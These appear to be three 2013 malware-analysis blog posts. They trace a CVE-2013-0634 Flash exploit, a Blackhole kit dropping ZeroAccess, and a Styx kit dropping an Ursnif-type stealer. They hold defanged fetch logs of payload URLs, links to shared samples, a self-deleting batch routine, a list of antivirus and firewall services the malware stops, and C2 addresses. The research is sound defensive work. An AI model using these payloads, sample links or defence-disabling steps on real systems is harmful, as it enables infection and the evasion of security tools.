The usage of hardcoded bits, details in address calculation, using the heap spray with the changes of stack value (stackpivot), with the ROP of by passing ASLR and DEP is a VERY sophisticated technique to be used in this exploitation. The technique exploitation of this sample is proven to be Memory Corruption base of the exploitation.

Research Material & Samples

For raising AV detection rates & research purpose, sample-->>[HERE] The SWF's embedded DLL malwares is having the below VT ratio:
SHA256: d6459e851fda540159a78aa901b46cc2e921c57952e961edf4d817b4f5a82f14 SHA1: c6bff71c4c9ac92f78995ac9097f8cc13779a8fc MD5: b4da1c3400b48803b41823feaf6085e8 File size: 241.5 KB ( 247296 bytes ) File name: CVE-2013-0634-x32bin.drop.dll File type: Win32 DLL Tags: exploit cve-2013-0634 pedll Ratio: 21 / 41 Date: 2013-02-10 17:48:27 UTC ( 37 minutes ago ) URL ---->>[CLICK] F-Secure : Dropped:Trojan.Agent.AYAF GData : Dropped:Trojan.Agent.AYAF VIPRE : Trojan.Win32.Generic!BT Symantec : Trojan Horse ESET-NOD32 : Win32/TrojanDropper.Agent.QAU McAfee-GW-Edition : Heuristic.BehavesLike.Win32.PasswordStealer.H Fortinet : W32/Agent.QAU!tr TrendMicro-HouseCall : TROJ_GEN.R11H1B8 MicroWorld-eScan : Dropped:Trojan.Agent.AYAF Avast : Win32:Malware-gen nProtect : Dropped:Trojan.Agent.AYAF Kaspersky : Trojan.Win32.Delf.dedq BitDefender : Dropped:Trojan.Agent.AYAF McAfee : BackDoor-FAKV!B4DA1C3400B4 Ikarus : Trojan.Win32.Bredolab Panda : Trj/CI.A AhnLab-V3 : Win-Trojan/Infostealer.247296 AntiVir : DR/Agent.AYAF PCTools : Trojan.Generic Sophos : Troj/Agent-ZUP Comodo : UnclassifiedMalware
SHA256: b03623e4818e60869f67dba28ab09187782a4ae0f4539cef2c07634865f37e74 SHA1: 040069e5ecf1110f6634961b349938682fee2a22 MD5: dbc7e219e9af297271ea594f0ff6ad12 File size: 240.5 KB ( 246272 bytes ) File name: CVE-2013-0634-x64bin.drop.dll File type: Win32 DLL Tags: exploit cve-2013-0634 pedll Ratio: 17 / 46 Date: 2013-02-10 17:49:04 UTC ( 39 minutes ago ) URL ---->>[CLICK] F-Secure : Trojan.Generic.8698229 DrWeb : BackDoor.Poison.1033 GData : Trojan.Generic.8698229 VIPRE : Trojan.Win32.Generic!BT Norman : Killav.LB ESET-NOD32 : Win64/TrojanDropper.Agent.U TrendMicro-HouseCall : TROJ_GEN.R47H1B9 MicroWorld-eScan : Trojan.Generic.8698229 Avast : Win32:Malware-gen nProtect : Trojan.Generic.8698229 BitDefender : Trojan.Generic.8698229 McAfee : BackDoor-AKV Panda : Trj/CI.A Ikarus : Win32.Malware AVG : Small.EWV Emsisoft : Malware.Win64.AMN (A) Comodo : UnclassifiedMalware
While trying to figure how the exploit execute the attached DLL, I took a video. and in one of the session I took the video from my Droid camera:

Thank you very much for fellow researchers who encourage be to analyze this:

False Positive Possibilities

I had little discussion with Eric Romang about this matter in twitter. Since this CVE is new, maybe NOW we won't see the false positive of this post's code to be detected as "malware" by some security industry scanner, but I am afraid since most web-scanner is doing string matching for detection of "malcode" in web sites, sooner or later FP will occur, so beforehand I am assuring you there is no malicious codes were posted as per it is here, every code are tweaked, neutralized and cannot run nor be used to infect at all. Furthermore most codes shown are flash JS/code which cannot use as per usual web site's embedded JavaScript.

I am so worry that if some security scanner will use the word "LadyBoyle" to grep & classify the detection of CVE-2013-0634, which exactly will NOT stop the infection of CVE-2013-0634 (since that is just a name of a "changeable" class inside an infector SWF file which I doubt that you can scan it online) BUT it will exactly will block this post to be viewed by public.

This post is dedicated to the security research, hopefully to be a useful reference of CVE-2013-0634, please kindly help to notice us in twitter if the false positive alarm happens. Thank you very much.

Additionals

Just seeing this tweet: I really want to see the sample, if anyone has it please upload it via our blog's DropBox?

The mentioned "font method", or to be precised, in our case was the usage of textfield object (to be filled with exploit data) with setting .settextformat contains a font definition, indeed detected too in this post, but did not see any MacOSX target in my sample, so that must be same type of exploit yet a separately made. I wonder was it a only a MS Word's .doc file?

Reference

[1] Adobe: Security Bulletin APSB13-04 for Adobe Flash Player-->>[Here]
[2] CVE-2013-0633 -->>[Here]
[3] CVE-2013-0634 -->>[Here]
[4] FireEye: LadyBoyle comes to town with new exploit-->>[Here]
[5] Alienvault Labs: Adobe patches two vulnerabilities being exploited in the wild-->>[Here]
[6] Eric Romang Blog: Boeing-job.com Campaign & Flash 0days Additional Informations-->>[Here]

(Fine)

#MalwareMustDie!

Wednesday, February 6, 2013

Blackhole of "/closest/" version with an infection of Trojan ZeroAccess (alias MaxPlus, Sirefef) w/Recycler Variant

[NEW!] New case infection w/same payload type & infection MO in different domain. Landing page: 3thtyjtyjcc.ns02.us/closest/209tuj2dsljdglsgjwrigslgkjskga.php Payload: ZeroAccess Exploit: Java: #CVE-2010-4476 #CVE-2013-0422, PDF: #CVE-2010-0188, CVE-2009-0927 Sorry for the report in text--> http://pastebin.com/raw.php?i=HPESHngh
I am on a half way on a plane of a long trip, got many spare time so I checked some queries to malware site. I received the report to investigate a Blackhole Exploit Kit, the clue was the infected domain of 33sdfguuh.mywww.biz, I had no idea so the first try I did was requesting the domain in the urlquery and ending up with the below suspected landing page url:
33sdfguuh.mywww.biz/closest/209tuj2dsljdglsgjwrigslgkjskga.php
Got so attempted so I fetched:
--2013-02-05 21:45:24--  h00p://33sdfguuh.mywww.biz/closest/209tuj2dsljdglsgjwrigslgkjskga.php
Resolving 33sdfguuh.mywww.biz... seconds 0.00, 89.253.232.149
Caching 33sdfguuh.mywww.biz => 89.253.232.149
Connecting to 33sdfguuh.mywww.biz|89.253.232.149|:80... seconds 0.00, connected.
  :
"GET /closest/209tuj2dsljdglsgjwrigslgkjskga.php HTTP/1.0"
Referer: http://malwaremustdie.com
"Host: 33sdfguuh.mywww.biz"
  :
HTTP request sent, awaiting response...
HTTP/1.1 200 OK
Server: nginx/1.2.6
Date: Tue, 05 Feb 2013 12:45:24 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.3.10-1ubuntu3.4
Vary: Accept-Encoding
  :
200 OK
Length: unspecified [text/html]
Saving to: "209tuj2dsljdglsgjwrigslgkjskga.php"
"2013-02-05 21:45:27 (90.4 KB/s) - 209tuj2dsljdglsgjwrigslgkjskga.php saved [113594]"
The inside was the common Backhole v2.x's landing Page ofuscation, which manually cracked to be plugin detect script like this -->>[PASTEBIN] Some of the highlight are below:
1. The usage of the pair of directories of /closest/ & 2. they don't put shellcode or the malware payload download in the landing page, instead scattered in the exploit file infector. 3. two pdfs, two jars and one payload.
BHEK is BHEK, by using our guideline -->>[HERE] you can get these samples: FYI the 2 PDFs urls is are as per below (this is for people who got attack by these Blackhole which mostly seeing these PDF downloads URL in their log..)
h00p://33sdfguuh.mywww.biz/closest/209tuj2dsljdglsgjwrigslgkjskga.php?dsmq=30:1n:1i:1i:33&lllsxi=3g:3a:3c&bdm=30:33:1n:1m:1h:33:30:1o:30:1h&uzz=1k:1d:1f:1d:1g:1d:1f
h00p://33sdfguuh.mywww.biz/closest/209tuj2dsljdglsgjwrigslgkjskga.php?qbzntsus=30:1n:1i:1i:33&cazv=39&alltb=30:33:1n:1m:1h:33:30:1o:30:1h&mkitrggt=1k:1d:1f:1d:1g:1d:1f
I started to get the payload from the smallest size of PDF, to find the JS/Evil/Code written in the 0x11AF-0x2768 section with text below: The red mark is the evil script, where the purple mark is the long obfuscation var/array, and the yellow mark is the deobfuscator logic. Following the usual method to decode this, we'll find the infector script burped as per first upper part below, marked area is the shellcode in text: And the lower part which having Libtiff overflow CVE-2010-0188 exploit code: *) Noted: I marked the part it checked the Adobe version. Well shortly the shellcode will look like below, contains the payload's url: Well, I just downloaded it..
GET /closest/209tuj2dsljdglsgjwrigslgkjskga.php?rjh=30:1n:%201i:1i:33&ofa=30:33:1n:1m:1h:33:30:1o:30:1h&omtvgame=1i&tdn=trnwuek&hxx=ynkt HTTP/1.0
Referer: http://malwaremustdie.blogspot.com
User-Agent: Gottcha!
Host: 33sdfguuh.mywww.biz
 :
HTTP request sent, awaiting response...
HTTP/1.1 200 OK
Server: nginx/1.2.6
Date: Tue, 05 Feb 2013 13:17:33 GMT
Content-Type: application/x-msdownload
Content-Length: 176128
Connection: keep-alive
X-Powered-By: PHP/5.3.10-1ubuntu3.4
Pragma: public
Expires: Tue, 05 Feb 2013 13:17:40 GMT
Cache-Control: must-revalidate, post-check=0, pre-check=0
Cache-Control: private
Content-Disposition: attachment; filename="contacts.exe"
Content-Transfer-Encoding: binary
  :
200 OK
Registered socket 1892 for persistent reuse.
Length: 176128 (172K) [application/x-msdownload]
Saving to: `contacts.exe'
2013-02-05 22:17:37 (84.9 KB/s) - `contacts.exe' saved [176128/176128]
Now we have the payload below: *)Noted: I marked my local time of my PC when I fetched. Nothing special about the file's looks & dull-usual name of contacts.exe

Debug investigation of the payload

So it's time to debug it to understand: 1. First the moronz encrypted the binary, see -->>[HERE] the section .text and .data was garbled, trailing the bins made me only stuck at the 0x40A209 in .text section:
0x40A209  add     esi, 1Fh
0x40A20C  pushf
0x40A20D  or      word ptr [esp], 1
0x40A212  nop
0x40A213  popf
0x40A214  wait
0x40A215  push    ebp
0x40A216  wait
0x40A217  pop     ebp
0x40A218  nop
0x40A219  rep cld
0x40A21B  jb      loc_40A49D
0x40A221  pop     ds
0x40A222  pop     ds
0x40A223  cmp     dl, bh
0x40A225  push    ecx
  : (skip)
0x40A229  var_44 = word ptr -6583D684h
0x40A229  var_42 = byte ptr -6583D682h
0x40A229  var_25 = byte ptr -6583D665h
0x40A229  var_23 = byte ptr -6583D663h
   : (skip)
0x40A2F9 ; FUNCTION CHUNK AT 0x40A6EF 
0x40A2F9 ; FUNCTION CHUNK AT 0x40A839 
0x40A2F9 ; FUNCTION CHUNK AT 0x40A874 
  : (skip)
0x40A2F9 ; FUNCTION CHUNK AT 0x40FC08 
0x40A2F9 ; FUNCTION CHUNK AT 0x40FC63 
2. Shortly I figured some mistery by debugging it to find these clue: This mess loading DLL by using these methods..
LdrLoadDll
LdrGetDllHandle
Use below command to decrypt:
uncrypted.exe
Microsoft Base Cryptographic Provider v1.0
Detecting/search the below programs / services:
Windows Defender
wscntfy.exe
MSASCui.exe
MpCmdRun.exe
NisSrv.exe
msseces.exe
fp.exe
 :
MsMpSvc
windefend
SharedAccess
iphlpsvc
wscsvc
mpssvc
Debugged further to find that this malware stopping these processes:
MsMpSvc, windefen, SharedAccess, iphlpsvc, wscsvc, mpssvc, bfe
PoC code in ASM here -->>[PASTEBIN] Looks also erasing/throwing off something via registry:
RECYCLER\
$Recycle.Bin\
With some more registry traces...
InprocServer32
{fbeb8a05-beee-4442-804e-409d6c4515e9}
\registry\machine\Software\Classes\clsid\{5839fca9-774d-42a1-acda-d6a79037f57f}\InprocServer32
  :
A nice attempt to use his filename to save itself..
TEMP=
\InstallFlashPlayer.exe
Internet access command -1- Get GeoIP Info & safe/get CN code..
GET /app/geoip.js HTTP/1.0
Host: j.maxmind.com
Connection: close
  :
geoip_country_code
If you simulate this into your browser, you'll get your all GeoIP data + lat/long coordinates. Internet access command -2- get the counter...
GET /5699017-3C912481A04E584CDF231C519E1DF857/counter.img?theme=%u&digits=10&siteId=%u HTTP/1.1
Host: bigfatcounters.com
User-Agent: Opera/9 (Windows NT %u.%u; %s; %s)
Connection: close
I dumped this data from memory after fetching the last URL above... ↑oh.. is an image file.. a counter↓

Behavior Analysis

So what was happened when I run it? It was as per below snapshot: The execution of CMD for self (copy+)deletion.. It requests the DNS query to the google, AND to these specific IP!↓
194.165.17.3:53  ADM-SERVICE-NET (Monaco)
66.85.130.234:53 TechEVE Ltd TE-SAFESUGAR (UK)
Except the above http, I detected UDP request to access these IP/port:
92.254.253.254:16464
88.254.253.254:16464
87.254.253.254:16464
71.254.253.254:16464
69.254.253.254:16464
1.172.141.253:16464
122.110.95.253:16464
85.86.69.253:16464
90.230.2.2:16464
115.31.23.2:16464
174.101.87.249:16464
187.74.74.249:16464
61.86.42.249:16464
194.165.17.3:123
91.242.217.247:123
94.183.234.248:16464
180.254.253.254:16464
166.254.253.254:16464
135.254.253.254:16464
134.254.253.254:16464
119.254.253.254:16464
117.254.253.254:16464
115.254.253.254:16464
126.13.87.248:16464
89.215.205.2:16464
222.109.23.4:16464
203.171.244.4:16464
109.90.149.240:16464
173.217.73.3:16464
98.26.183.2:16464
84.55.11.24:16464
116.73.35.4:16464
86.126.1.74:16464
121.242.162.55:16464
175.181.230.42:16464
190.208.75.36:16464
150.214.68.251:16464
188.6.88.61:16464
206.254.253.254:16464
190.254.253.254:16464
182.254.253.254:16464
A short session of infection goes like this: And these are the snapshot of UDP, malform DNS requests I was talking about: It sent the malform DNS with the request is like this: Any idea what is this, friends? :-) Furthermore let's see what's the file process & networking + registry-->>[HERE] Is a full run log on asession of one infection I made it on my PC :-) Please try to grep values like "RegSet" or "CreateFile", "UDP" to be more focus in understanding how this malware's work. In registry there's some changes in:
HKLM\Software\Classes\ClsId\{...some ID....}\InprocServer32\
   --→"C:\WINDOWS\system32\wbem\fastprox.dll"/"C:\RECYCLER\S-1-5-18\$6576a1a85f9fdb0e20568660563a58ee\n."
↑wow, looks like a setup for a deletion ... Noticing the above, I just realized that my below registry keys were deleted/gone..
..\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy
..\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile
..\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications
..\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List
..\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile
..\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications
..\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
..\System\CurrentControlSet\Services\SharedAccess\Setup
..\System\CurrentControlSet\Services\SharedAccess\Setup\InterfacesUnfirewalledAtUpdate
..\System\CurrentControlSet\Services\wscsvc
..\System\CurrentControlSet\Services\wscsvc\Enum
..\System\CurrentControlSet\Services\wscsvc\Parameters
..\System\CurrentControlSet\Services\wscsvc\Security
Now I know why it seeked those strings of programs in debugging, to DELETE them.. Moreover saw an a fail attempt of starting the Active Directory Domain Services Database Mounting Tool or SERVICES_ACTIVE_DATABASE, binding to the localhost...

What's this mess?

So we are dealing with what malware then? 1) a trojan (for sure, by all infection MO & erasing stuffs) + staring service, but for what? I wonder what would happened if one of those request to had seccessfully established. IF it sent data then we have 2) a spyware which is having these characteristics. Let's reseacrh further, viewing the way it made changes in registry at the recycle keys/values made made me bumped to the good writing about ZeroAccess Recycler version here -->>[TigzyBlog] And UDP/16464 found it as the ZeroAccess/alias MaxPlus, Sirefef variant. Thank's to the Tigzy-RK for a useful writing -->Tigzy-RK And all of the advices I received, I thank you.

Samples

Here's the overall samples -->>[HERE] (Samples are shared for raising detection ratio & research purpose) *) Thank you to @Horgh_rce for adding the unpack version of the malware. It's really good to know that I didn't miss a thing during debugging.

Virus Total

Below is detection ratio as per detected moment of the samples in VT:
Landing page : (1/46) -->>[VT] PDF1 : (20/46) -->>[VT] PDF2 : (13/46) -->>[VT] JAR1 : (6/46) -->>[VT] JAR2 : (5/46) -->>[VT] Payload : (6/46) -->>[VT]

The Infection

I don't have time to check these all but all of these BHEK are infecting same ZeroAccess variant now. Marked the domain name & BHEK "/closest" path: The PoC of the list in the picture above is --->>[HERE] and here -->>[HERE]

Thank you for your help, advice & cooperation!

#MalwareMustDie!

Sunday, February 3, 2013

The infection of Styx Exploit Kit (Landing page: painterinvoice.ru + Payload: PWS/Ursnif Variant)

Infection route:
Infector:    h00p://tropold.org/jerk.cgi?6
Redirector:  h00p://painterinvoice.ru/1yM1hP12juZ0eb1m08qSE0gC6f01z5B0c4Vm12yDo0Xvu50mkZ10gv2o0FwTJ0kT3S0y2Lp0cz4L0JlPp0fzIh0oYGU0XFea/
Downloader1: h00p://painterinvoice.ru/ISRonx04zR50Jrd217..vN607Atz/getmyfile.exe?o=1&h=11
Lead to:     (same path)/imJTuXe.jar
Downloader2: h00p://painterinvoice.ru/3vzJEf0i1Ke0TEJU0NH..0mMLQ/getmyfile.exe?o=1&h=12
Payload:     h00p://fuji-solar.co.jp/date/dune.exe
Infectior hosts:
Infector (hacked site): tropold.org (209.8.45.242) Landing Page : painterinvoice.ru (108.61.12.43) Payload (hacked site) : fuji-solar.co.jp (60.43.201.33)

PoC:

Infector:
// download

--2013-02-03 02:22:15--  h00p://tropold.org/jerk.cgi?6
Resolving tropold.org... seconds 0.00, 209.8.45.242
Caching tropold.org => 209.8.45.242
Connecting to tropold.org|209.8.45.242|:80... seconds 0.00, connected.
  :
GET /jerk.cgi?6 HTTP/1.0
Referer: http://malwaremustdie.blogspot.jp/
User-Agent: We are MalwareMustDie! You are on our blog!
Host: tropold.org
  :
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2013 19:03:31 GMT
Server: Apache
Set-Cookie: thlpg6=_1_; expires=Sun, 03-Feb-2013 19:03:31 GMT; path=/; domain=tr
opold.org
Connection: close
Content-Type: text/html; charset=UTF-8
  :
200 OK
Length: unspecified [text/html]
Saving to: `jerk.cgi@6.1"
2013-02-03 02:22:15 (1.49 MB/s) - `jerk.cgi@6.1' saved [182]"

// cat

<html><frameset rows="100%">
<frame src="h00p://painterinvoice.ru/...U0XFea">
</frameset>
</html>
Redirectors:
// download

--2013-02-03 02:23:29--  h00p://painterinvoice.ru/1yM1hP12juZ0eb1m08qSE0gC6f01z5
B0c4Vm12yDo0Xvu50mkZ10gv2o0FwTJ0kT3S0y2Lp0cz4L0JlPp0fzIh0oYGU0XFea
Resolving painterinvoice.ru... seconds 0.00, 108.61.12.43
Caching painterinvoice.ru => 108.61.12.43
Connecting to painterinvoice.ru|108.61.12.43|:80... seconds 0.00, connected.
  :
GET /1yM1hP12juZ0eb1m08qSE0gC6f01z5B0c4Vm12yDo0Xvu50mkZ10gv2o0FwTJ0kT3S0y2Lp0cz4L0JlPp0fzIh0oYGU0XFea HTTP/1.0
Referer: http://malwaremustdie.blogspot.jp/
User-Agent: We are MalwareMustDie! You are on our blog!
Host: painterinvoice.ru
HTTP request sent, awaiting response...
  :
HTTP/1.0 302 Found
Set-Cookie: PHPSESSID=2pt94m2itjr49i320maohs0r30; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: Application Error....
Server: QRATOR
Location: h00p://painterinvoice.ru/..0fzIh0oYGU0XFea/
Content-type: text/html
Content-Length: 0
Connection: keep-alive
Date: Sat, 02 Feb 2013 17:27:06 GMT
  :
302 Found
  :
Location: h00p://painterinvoice.ru/1yM1hP12ju..zIh0oYGU0XFea/ [following]
Skipping 0 bytes of body: [] done.
--2013-02-03 02:23:30--  h00p://painterinvoice.ru/1yM1hP12juZ0eb1m08q...2Lp0cz4L0JlPp0fzIh0oYGU0XFea/
Reusing existing connection to painterinvoice.ru:80.
  :
GET /1yM1hP12juZ0eb1m08qSE0gC6f01z5B0c4Vm12yDo0Xvu50mkZ10gv2o0FwTJ0kT3S0y2Lp0cz4L0JlPp0fzIh0oYGU0XFea/ HTTP/1.0
Referer: http://malwaremustdie.blogspot.jp/
User-Agent: We are MalwareMustDie! You are on our blog!
Host: painterinvoice.ru
  :
HTTP/1.0 200 OK
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: Application Error....
Server: QRATOR
Content-Type: text/html
X-Mode: HTML
Content-Length: 490
Connection: keep-alive
Date: Sat, 02 Feb 2013 17:27:07 GMT
  :
200 OK
Length: 490 [text/html]
Saving to: `index.html"
2013-02-03 02:23:31 (13.4 MB/s) - `index.html saved [490/490]"

// cat

<html>
<head>
<title>TTklldd</title>
</head>
<body>
<applet archive="imJTuXe.jar" code="kobCA.Qbyka" name="vNOArj">
<param name="p" value="h00p://painterinvoice.ru/ISRonx04...607Atz/getmyfile.exe?o=1&h=11"/>
</applet>
<script type="text/javascript" src="rtoplsf.js"></script>
</body>
</html>

Downloader:

↑See the ISRonx04...607Atz/getmyfile.exe?o=1&h=11, is a downloader scheme of this exploit kit. It forward you to the JAR download url:
h00p://painterinvoice・ru/spM4XE0q6I0074Rr0gZq70QF520sJWu0pqgQ0QET4131rg0YCPL07RJk0ePNF0VV9X0313c0JKqP0Kx3Z0l4D00nDue0ujSn/imJTuXe.jar
Download...
--2013-02-03 02:26:40--  h00p://painterinvoice.ru/spM4XE..ujSn/imJTuXe.jar
Resolving painterinvoice.ru... seconds 0.00, 108.61.12.43
Caching painterinvoice.ru => 108.61.12.43
Connecting to painterinvoice.ru|108.61.12.43|:80... seconds 0.00, connected.
  :
GET /spM4XE0q6I0074Rr0gZq70QF520sJWu0pqgQ0QET4131rg0YCPL07RJk0ePNF0VV9X0313c0JKqP0Kx3Z0l4D00nDue0ujSn/imJTuXe.jar HTTP/1.0
Referer: http://malwaremustdie.blogspot.jp/
User-Agent: We are MalwareMustDie! You are on our blog!
Host: painterinvoice.ru
HTTP request sent, awaiting response...
  :
HTTP/1.0 200 OK
Set-Cookie: PHPSESSID=d8l9gc7g9vbg0poai41h97r7c6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: Application Error....
Server: QRATOR
Content-Type: text/html
X-Mode: HTML
Connection: close
Date: Sat, 02 Feb 2013 17:30:16 GMT
  :
200 OK
Length: unspecified [text/html]
Saving to: `imJTuXe.jar"
2013-02-03 02:26:41 (14.5 KB/s) - `imJTuXe.jar saved [12996]"

Exploitation

The target privilege: The flood: CVE-2012-1723 CVE-2012-4681 This JAR at Virus Total, URL -->>[HERE]
SHA256: ca601ec85cc7bc2afa82384a1b832401af281e476021b1db59201bb8d0936211 SHA1: e3f1b938ef96c139b948c6bd9cc69d7c2dec0643 MD5: 9c4ca2083a2c4cd518897ab59df3a15c File size: 12.7 KB ( 12996 bytes ) File name: imJTuXe.jar File type: JAR Tags: exploit jar cve-2012-1723 cve-2012-4681 Detection ratio: 10 / 46 Analysis date: 2013-02-03 08:07:39 UTC ( 2 hours, 36 minutes ago )
Malware names:
DrWeb                    : Exploit.CVE2012-1723.13
GData                    : Java:CVE-2012-1723-VT
AntiVir                  : EXP/2012-1723.GE
TrendMicro               : HEUR_JAVA.EXEC
McAfee-GW-Edition        : Exploit-CVE2012-1723.c
Avast                    : Java:CVE-2012-1723-VT [Expl]
ESET-NOD32               : probably a variant of Java/Exploit.CVE-2012-1723.FR
McAfee                   : Exploit-CVE2012-1723.c
Ikarus                   : Java.CVE.2012
Sophos                   : Troj/JavaDl-NZ
The JAR resulted the below URL:
h00p://painterinvoice.ru/3vzJE..(long)..0mMLQ/getmyfile.exe?o=1&h=12

Payload:

Again we met "..0mMLQ/getmyfile.exe" downloader, which now pointing to the below payload url:
h00p://fuji-solar.co.jp/date/dune.exe
It's still up there..(make the necessary warning though...) Download log:
GET /date/dune.exe HTTP/1.0
User-Agent: MalwareMustDie! You are famous now!
Host: fuji-solar.co.jp
HTTP request sent, awaiting response...
  :
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2013 17:20:04 GMT
Server: Rapidsite/Apa
Last-Modified: Sat, 02 Feb 2013 12:26:52 GMT
ETag: "35dd625-37400-510d060c"
Accept-Ranges: bytes
Content-Length: 226304
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: application/exe
  :
200 OK
Registered socket 1896 for persistent reuse.
Length: 226304 (221K) [application/exe]
"Saving to: `dune.exe"
Payload at Virus Total, url is here -->>[HERE]
SHA256: 0e61ecd0aad87a72d36bc10288303292859a800d2237ac9c32755d9e455e87e2 SHA1: a7344edd33d4bcd538fdba240c2996417a0d63b8 MD5: a26ff2a7664aaa03d41a591fc71d2221 File size: 221.0 KB ( 226304 bytes ) File name: dune.exe File type: Win32 EXE Tags: peexe Detection ratio: 3 / 46 Analysis date: 2013-02-03 07:09:05 UTC ( 38 minutes ago )
Malware Name:
TrendMicro-HouseCall     : TROJ_GEN.F47V0202
DrWeb                    : Trojan.KillProc.22029
Symantec                 : WS.Reputation.1
↑Low detection. It looks we will see many infection happened.. I wrote the quick analysis on this malware in VT comment, with additional information below: As per I wrote in VT comment, this malware killed explorer.exe & started the new one, as per I reproduced below: How this malware did it? and what for? below could be the answer: First, it creates: 1958718(RANDOM).bat in the current directory. PoC traces:
"WriteFile","C:\Documents and Settings\%USER%\%DESKTOP%\1958718.bat",
            "SUCCESS","Offset: 0, Length: 72"
And executed it with CMD command to re-run explorer & delete the malware files:
"Process Create","C:\WINDOWS\system32\cmd.exe","SUCCESS","PID: 2916, 
                  Command line: 
                  cmd /c """"C:\Documents and Settings\%USER%\%DESKTOP%\1958718.bat""
With the batch command below:
(361): /sd %lu
(363): %lu.bat                     "
(364): attrib -r -s -h %%1
(365): del %%1
(366): if exist %%1 goto %u
(367): del %%0
(369): %s\explorer.exe"
This act is to hide the real malware activities and to delete the malware files from the PC after being executed. What had happened during the explorer.exe being terminated was: It created C:\WINDOWS\system32\fastinit.exe(RANDOM) (a self copy) & make it autostart in registry with setting key/values:
"CreateFile","C:\WINDOWS\system32\fastinit.exe","SUCCESS", OpenResult: Created"
"RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Run\helplist(RANDOM)","SUCCESS","
   Type: REG_SZ, Length: 66, Data: C:\WINDOWS\system32\fastinit.exe"
NOTE: The malware choosed the name of file to be copied itself AFTER investigating what EXE files is actually exist in your PC and choosed one of them for the target to copy, PoC -->>[HERE] Furthermore the randomization also used to pick autostart registry key name, Like in this case was Windows\CurrentVersion\Run\helplist, while in VT I detected \Windows\CurrentVersion\Run\autocnfg, while VT behavior test itself shows: \Windows\CurrentVersion\Run\blassmgr. The rest of changes in registry is as per below:
"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\helplist","SUCCESS","Type: REG_SZ, Length: 66, Data: C:\WINDOWS\system32\fastinit.exe"
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Personal","SUCCESS","Type: REG_SZ, Length: 86, Data: C:\Documents and Settings\%USER%\My Documents"
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache","SUCCESS","Type: REG_SZ, Length: 140, Data: C:\Documents and Settings\%USER%\Local Settings\Temporary Internet Files"
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{11948642-10a9-11e2-95b6-806d6172696f}\BaseClass","SUCCESS","Type: REG_SZ, Length: 12, Data: Drive"
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{903f3d4c-6ae4-11e2-91fb-0012f0e93e3e}\BaseClass","SUCCESS","Type: REG_SZ, Length: 12, Data: Drive"
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Documents","SUCCESS","Type: REG_SZ, Length: 92, Data: C:\Documents and Settings\All Users\Documents"
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Desktop","SUCCESS","Type: REG_SZ, Length: 74, Data: C:\Documents and Settings\%USER%\%DESKTOP%"
"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass","SUCCESS","Type: REG_DWORD, Length: 4, Data: 1"
"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName","SUCCESS","Type: REG_DWORD, Length: 4, Data: 1"
"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet","SUCCESS","Type: REG_DWORD, Length: 4, Data: 1"
Since the malware binary file was encrypted so we can't see much of it, if you see the binary in the section .text it will appear like this:
File: dune.exe; Section: .text
Encrypted part:
0x0004FF   0x0004FF     >====
0x000515   0x000515     ====6?y>6?y
0x00052B   0x00052B     5=Hh2
0x000531   0x000531     2====a
0x00055B   0x00055B     c>====
0x000582   0x000582     >?Ay=|=
0x0005A9   0x0005A9     Rn=y=
0x0005AF   0x0005AF     35Ln=y=
0x0005E0   0x0005E0     3>====
0x000610   0x000610     ===g===
0x00062D   0x00062D     %,A>h
0x000645   0x000645     a5===
0x0006BD   0x0006BD     n====g==5==
   :          :           :
0x03646F   0x03646F     R |=A3
0x03662A   0x03662A     %H2%n?
0x036642   0x036642     A57 >
0x03668E   0x03668E     >6=dg> 
The complete list is here -->>[HERE] but after being decrypted we start to understand how it works better. The section .rdata will appear contains the some values. We can see the list of calls is here -->>[HERE] And the breakdown of the stealer++ activities as per below: Some comment of malware coder with the mis-spelled words:
.rdata:100124E4 00000010 C Sart Load DLL\r\n                  
.rdata:100124F4 0000001D C Loading DLL: \"%s\" size: %d\r\n   
.rdata:10012514 00000012 C Start Write DLL\r\n                
.rdata:10012528 00000016 C DLL load status: %u\r\n            
.rdata:10012658 0000001C C Started Soccks status {%u\n}       
.rdata:10012674 00000014 C Get info status %u\n               
.rdata:10012688 00000017 C Command received \"%s\"\n          
.rdata:100126A0 0000000C C MakeScreen\n                       
So it supposed to connect to internet...
.rdata:10012C64 00000008 C http://                       
.rdata:10012C6C 00000009 C https://                 
.rdata:10012A94 00000006 C Host:                         
.rdata:10012A9C 0000000C C User-Agent:                   
.rdata:10012AA8 00000010 C Content-Length:               
.rdata:10012AB8 00000013 C Transfer-Encoding:            
.rdata:10012BDC 0000000A C text/html                     
.rdata:10012BE8 00000006 C image                         
